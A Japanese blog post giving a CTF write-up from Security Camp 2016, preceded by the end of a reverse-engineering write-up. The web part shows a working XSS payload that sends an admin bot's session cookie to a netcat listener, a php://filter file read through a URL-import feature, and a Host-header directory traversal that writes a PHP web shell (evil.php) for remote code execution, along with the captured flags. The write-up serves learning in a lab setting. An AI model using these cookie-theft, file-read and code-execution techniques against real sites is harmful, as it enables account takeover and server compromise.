   0x0000000000401010 <+169>:   mov    rax,QWORD PTR [rbp-0x48]       # rax := ?
   0x0000000000401014 <+173>:   lea    rbx,[rdx+rax*1]
   0x0000000000401018 <+177>:   mov    eax,DWORD PTR [rbp-0x34]
   0x000000000040101b <+180>:   cdqe   
   0x000000000040101d <+182>:   movzx  r12d,BYTE PTR [rbp+rax*1-0x30]
   0x0000000000401023 <+188>:   call   0x400a20 <rand@plt>
   0x0000000000401028 <+193>:   xor    eax,r12d                       
   0x000000000040102b <+196>:   mov    BYTE PTR [rbx],al
   0x000000000040102d <+198>:   add    DWORD PTR [rbp-0x34],0x1       # i++
#---------------------------------------------------------------------
   0x0000000000401031 <+202>:   mov    eax,DWORD PTR [rbp-0x34]
   0x0000000000401034 <+205>:   cmp    eax,DWORD PTR [rbp-0x4c]
   0x0000000000401037 <+208>:   jl     0x40100a <genflag+163>
#---------------------------------------------------------------------
"""

ブレークポイントが打てないし、printfの出力がobjdumpと食い違っていたのですが、何らかの仕組みが働いてコードが書き換わるようです。 フラグが前後半に分かれて出現します。前半は実行前のコード、後半はprintf呼び出し時に見ることができます。 てなわけで、

flag: FLAG{51mpl3_c1ph3r_çw17h_57r4ng3_m3ch4n15m}


明日、また会社かよ…

(報告)Docker版の方はARMのrev問が動くようになりましたー

セキュキャンCTF Web問のWriteup

セキュリティキャンプ全国大会2016でチーム対抗のCTFが開催されましたね。
チューターチーム「友利奈緒とゆかいな仲間たち」の友利奈緒です。
当日はネットワークトラブルのせいで解く時間が全然なかったのですが、そのときに難易度が低いと噂のWebを1つも解けなかったので今日解き直しました。
以下Writeupです。

ipアドレスを192.168.39.39としてサーバーを動かしています。

FLAG_1

http://192.168.39.39/ につなぐとこんな画面が出てきます。 FLAG_1は非公開になっており、adminが見れるページのようですね。

f:id:katc:20160827204553p:plain

仕方がないのでtest postを開きます。 コメントができますね。

この問題は50点ぐらいに見えるのでここにXSSがあって、adminのcookieを抜き取るのでしょう。 CTFではよくあるパターンですね。 いろいろ準備するのはだるいので、192.168.39.39にsshログインして、netcatで待ち構えてcookieを覗きましょう。

<script>location.href="http://192.168.39.39:8080/"</script>
pi@d55f1549b655:~ $ nc -l -p 8080
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://192.168.39.39/comments/check.php?id=1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Cookie: PHPSESSID=a7vejaoqteu1o8l3gojgl10lo1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: 192.168.39.39:8080

cookieを取れたのでブラウザでこの値を入れてからFLAG_1のページを見ます。やるだけですな。(なんであの場ではうまくいかなかったのか…)

f:id:katc:20160827210017p:plain

flag: FLAG{c0NgRaTz_y0u'v3_H4cK3d_4dM1N_4Cc0UnT}

flag3.txt

ヒントには /var/www/flag3.txt にフラグがあると言っているので、adminになりつつ投稿画面を見に行きます。
(Admin Panelの存在はindex.phpのコメントを見るか、robots.txtで示唆されているので見落とさないようにしましょう)

f:id:katc:20160827210353p:plain

Import from URL でローカルファイルを読み込むんだろうなという検討は立ちます。 fileは弾かれるのでfiLeとかで大文字を入れればWAFみたいのを回避できます。
(というのを当日に聞いていたのでここでは別解を書きます。)

ソースを見ると(以下の方法と同様にして入手できるはずです)、file_get_contentsでリモートorローカルのリソースを読み込む仕組みになっています。 この関数は php://filter/ でおなじみのフィルタが利用できるのでそれで読み込むことも可能です。 つまり、URLとして php://filter/resource=/var/www/flag3.txt を指定します。 できたページを見て終わりです。

f:id:katc:20160827211217p:plain

flag: FLAG{3xpLo1TInG_S3rV3r-S1D3_r3Qu3St_f0RG3rY}

flag4.txt

いよいよ最後の問題です。
(自分にはここからが長かった…ctf4b運営のもりたこ先生にヒントを乞うて、利用する脆弱性のヒントをもらったぞい)

ファイル名が分からない状態ではフィルタが使えないっぽいので、ファイルに書き込んでくれる系を脆弱性として使うのでしょう。 もりたこヒントによると、post/import.phpディレクトリトラバーサル脆弱性があり、リモートで任意コード実行(RCE)可能らしいです。

ということで、デバッグ出力している次の箇所に目を付けました。

function parseHeaders($headers) {
  $head = array();
  foreach($headers as $k=>$v) {
    $t = explode( ':', $v, 2 );
    if (isset($t[1]))
      $head[ trim($t[0]) ] = trim( $t[1] );
    else {
      $head[] = $v;
      if (preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out ))
        $head['reponse_code'] = intval($out[1]);
    }
  }
  return $head;
}

//
$data = file_get_contents($url);

$headers = parseHeaders($http_response_header);
if (isset($headers['Host'])) {
  $host = $headers['Host'];
}
else {
  $host = parse_url($url, PHP_URL_HOST);
}

$title = "Imported data from $host";
addPost($title, $data, (int)(empty($_POST['secret'])));
$_SESSION['create_ok'] = true;

// DEBUG
$debug_log  = "url: $url\n";
$debug_log .= "status: success\n";
$debug_log .= "content: $data\n";

file_put_contents(sprintf('/tmp/mars_debug_log_%d_%s', time(), $host), $debug_log);

sprintf でファイル名を作っていますが、%sディレクトリトラバーサル自明ですね。 %s$host で変えられるようです。後で確認します。 書き込み内容は $debug_log で決まり、$data に僕のコードを仕込めば実行してくれそうです。

さて $host は何に由来するのかというと、少し上の $headers['Host'] で、 parseHeaders でHTTPレスポンスヘッダにあったHostフィールド(公式仕様には無いやつですね…。気づくヒントだったのかな…?)の値が $host に来るみたいです。

netcatで簡単なHTTPサーバーでも立てておきますかね。 ということで、netcatで応答すべき内容はこんな感じになります。 phpタグに囲まれていないところにゴミが入っていても問題ありません。phpの性質をよく利用した賢い問題っすね。

HTTP/1.1 200 OK
Host: /../../var/www/html/evil.php
Content-Length: 50

<?php
print_r(scandir('/var/www/flag4'));
?>

# nc -l -p 8080 < http_response

あとはnetcatで待ち受けて、リクエストが来てこちらが応答したら Ctrl+C でCloseしちゃいます(笑)
# もっといい方法ないすかねー?

投稿画面ではURLに http://192.168.39.39:8080/ を指定しました。

pi@d55f1549b655:~ $ nc -l -p 8080 < http_response
GET / HTTP/1.0
Host: 192.168.39.39:8080
Connection: close

^C

f:id:katc:20160827213143p:plain

f:id:katc:20160827213242p:plain

ファイル名が分かったので、先の問題と同様にして中身を暴露します。

f:id:katc:20160827213408p:plain

flag: FLAG{W0w_u_pwn3d_Mars!}


難易度設定はキャンプのCTFにはいい感じですね。

手元にRasPiが無いのでCTF運営公式のイメージファイルから必要なファイルを取り出して、適当にDockerizeしました。
さっき運営の一人のもりたこちゃんに披露したので、そのうち公開されるかもしれません。